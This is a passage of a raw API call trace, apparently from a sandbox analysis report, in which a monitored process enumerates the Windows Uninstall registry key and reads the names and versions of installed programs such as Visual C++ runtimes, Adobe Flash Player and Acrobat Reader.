returned 55 [0052.004] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.005] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x35, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.005] RegCloseKey (hKey=0x394) returned 0x0 [0052.005] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0xf, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.005] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 90 [0052.005] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.005] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpcbData=0x19ee30*=0x3b) returned 0x0 [0052.005] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="12.0.21005", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.005] RegCloseKey (hKey=0x394) returned 0x0 [0052.005] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x10, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.005] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757") returned 100 [0052.005] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.005] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.005] RegCloseKey (hKey=0x394) returned 0x0 [0052.005] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x11, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.005] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173") returned 100 [0052.005] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.005] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.005] RegCloseKey (hKey=0x394) returned 0x0 [0052.006] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x12, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.006] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860") returned 100 [0052.006] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.006] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.006] RegCloseKey (hKey=0x394) returned 0x0 [0052.006] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x13, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.006] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655") returned 100 [0052.006] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.006] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.006] RegCloseKey (hKey=0x394) returned 0x0 [0052.006] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x14, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.006] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743") returned 100 [0052.006] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.006] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.006] RegCloseKey (hKey=0x394) returned 0x0 [0052.006] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x15, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.006] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063") returned 100 [0052.006] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.006] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.006] RegCloseKey (hKey=0x394) returned 0x0 [0052.006] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x16, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.006] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573") returned 99 [0052.006] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.006] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.007] RegCloseKey (hKey=0x394) returned 0x0 [0052.007] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x17, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.007] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 90 [0052.007] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.007] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpcbData=0x19ee30*=0x3d) returned 0x0 [0052.007] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="11.0.61030.0", lpcbData=0x19ee30*=0xd) returned 0x0 [0052.007] RegCloseKey (hKey=0x394) returned 0x0 [0052.007] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x18, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.007] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 90 [0052.007] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.007] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpcbData=0x19ee30*=0x3d) returned 0x0 [0052.007] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="12.0.30501.0", lpcbData=0x19ee30*=0xd) returned 0x0 [0052.007] RegCloseKey (hKey=0x394) returned 0x0 [0052.007] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x19, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{3D82C954-2957-418B-908F-FE78BF3A8BEB}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.007] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3D82C954-2957-418B-908F-FE78BF3A8BEB}") returned 90 [0052.007] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3D82C954-2957-418B-908F-FE78BF3A8BEB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.007] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Adobe Flash Player 25 NPAPI", lpcbData=0x19ee30*=0x1c) returned 0x0 [0052.008] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="25.0.0.148", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.008] RegCloseKey (hKey=0x394) returned 0x0 [0052.008] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1a, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{4A03706F-666A-4037-7777-5F2748764D10}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.008] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}") returned 90 [0052.008] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.008] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Java Auto Updater", lpcbData=0x19ee30*=0x12) returned 0x0 [0052.008] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="2.8.131.11", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.008] RegCloseKey (hKey=0x394) returned 0x0 [0052.008] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1b, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.008] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 90 [0052.008] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.009] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2005 Redistributable", lpcbData=0x19ee30*=0x2a) returned 0x0 [0052.009] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="8.0.61001", lpcbData=0x19ee30*=0xa) returned 0x0 [0052.009] RegCloseKey (hKey=0x394) returned 0x0 [0052.009] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1c, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{74d0e5db-b326-4dae-a6b2-445b9de1836e}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.009] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{74d0e5db-b326-4dae-a6b2-445b9de1836e}") returned 90 [0052.009] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{74d0e5db-b326-4dae-a6b2-445b9de1836e}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.009] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.23026", lpcbData=0x19ee30*=0x3d) returned 0x0 [0052.009] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="14.0.23026.0", lpcbData=0x19ee30*=0xd) returned 0x0 [0052.009] RegCloseKey (hKey=0x394) returned 0x0 [0052.009] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1d, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.009] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 90 [0052.009] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.009] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpcbData=0x19ee30*=0x3f) returned 0x0 [0052.009] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="9.0.30729.6161", lpcbData=0x19ee30*=0xf) returned 0x0 [0052.009] RegCloseKey (hKey=0x394) returned 0x0 [0052.009] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1e, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{A2563E55-3BEC-3828-8D67-E5E8B9E8B675}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.009] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A2563E55-3BEC-3828-8D67-E5E8B9E8B675}") returned 90 [0052.009] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A2563E55-3BEC-3828-8D67-E5E8B9E8B675}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.009] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2015 x86 Minimum Runtime - 14.0.23026", lpcbData=0x19ee30*=0x3b) returned 0x0 [0052.009] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="14.0.23026", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.010] RegCloseKey (hKey=0x394) returned 0x0 [0052.010] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1f, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{AC76BA86-0804-1033-1959-001824245926}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.010] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-0804-1033-1959-001824245926}") returned 90 [0052.010] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-0804-1033-1959-001824245926}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.010] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Adobe Refresh Manager", lpcbData=0x19ee30*=0x16) returned 0x0 [0052.010] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="1.8.0", lpcbData=0x19ee30*=0x6) returned 0x0 [0052.010] RegCloseKey (hKey=0x394) returned 0x0 [0052.010] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x20, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.010] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}") returned 90 [0052.010] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.010] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Adobe Acrobat Reader DC", lpcbData=0x19ee30*=0x18) returned 0x0 [0052.010] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="18.009.20050", lpcbData=0x19ee30*=0xd) returned 0x0 [0052.010] RegCloseKey (hKey=0x394) returned 0x0 [0052.010] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x21, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.010] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}") returned 90 [0052.010] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.010] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpcbData=0x19ee30*=0x3e) returned 0x0 [0052.011] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="11.0.61030", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.011] RegCloseKey (hKey=0x394) returned 0x0 [0052.011] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x22, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.011] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: 